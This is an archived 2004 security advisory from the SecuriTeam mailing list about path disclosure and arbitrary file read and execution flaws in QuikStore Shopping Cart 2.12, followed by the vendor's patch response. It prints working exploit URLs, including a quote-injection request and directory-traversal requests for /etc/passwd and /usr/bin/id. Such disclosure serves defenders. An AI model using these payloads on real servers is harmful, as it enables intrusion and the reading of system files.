

[NEWS] QuikStore Shopping Cart Discloses Installation Path and Viewing and Executing Arbitrary Files

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0032.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/07/04

To: list@securiteam.com

Date: 7 Jan 2004 18:30:33 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

QuikStore Shopping Cart Discloses Installation Path and Viewing and Executing Arbitrary Files

SUMMARY

<<http://www.quikstore.com/>> QuikStore is "one of the easiest, most flexible Shopping Cart programs available today". The product has been found to contain two security vulnerabilities, one allows disclosing the true path under which the program has been installed, the other allows execute and viewing of arbitrary files.

DETAILS

Vulnerable systems:

- * QuikStore version 2.12

Immune systems:

- * QuikStore version 2.12.133 (for the path disclosure)
- * QuikStore version 2.11 (for the arbitrary file reading)

Path disclosure:

A remote user can send a request to cause the QuikStore Shopping Cart to

[NEWS] QuikStore Shopping Cart Discloses Installation Path and Viewing and Executing Arbitrary Files

Securiteam: [NEWS] QuikStore Shopping Cart Discloses Installation Path and Viewing and Executing Arbitrary Files

display an error message that indicates the installation path.

Exploit:

http://[target]/cgi-bin/quikstore.cgi?store='

Arbitrary file reading and command execution:

QuikStore Shopping Cart allows remote file reading and command execution with the privileges of the web server.

Exploits:

http://[target]/quikstore.cgi?category=blah&template=../../../../../../../../etc/passwd%00.html

http://[target]/quikstore.cgi?category=blah&template=../../../../../../../../etc/hosts

http://[target]/quikstore.cgi?category=blah&template=../../../../../../../../usr/bin/id

Vendor response:

1) A patch for the: http://[target]/cgi-bin/quikstore.cgi?store=' hack has been applied to QuikStore version 2.12.133 and is available to all 2.12 version users by doing a Web Update from their QuikStore main menu. For older versions, we request that they send us their quikstore.cgi file and we will apply the patch for them.

2) This was corrected 2 years ago and a patch has been available for this for a long time:

"QuikStore Shopping Cart allows remote file reading too, users can view files on the system with the privileges of the web server."

Versions 2.11 and above do not allow this as all file requests, other than the "store=" variable above, is filtered before being displayed.

The patch is freely available to all registered users. All they need to do is email support@quikstore.com and request it.

Regards,

Rick Hoelle

President iSoft-Solutions, Inc.

www.quikstore.com

ADDITIONAL INFORMATION

The information has been provided by <mailto:drponidi@kecoak.org> Dr`Ponidi.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

Securiteam: [NEWS] QuikStore Shopping Cart Discloses Installation Path and Viewing and Executing Arbitrary Files

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.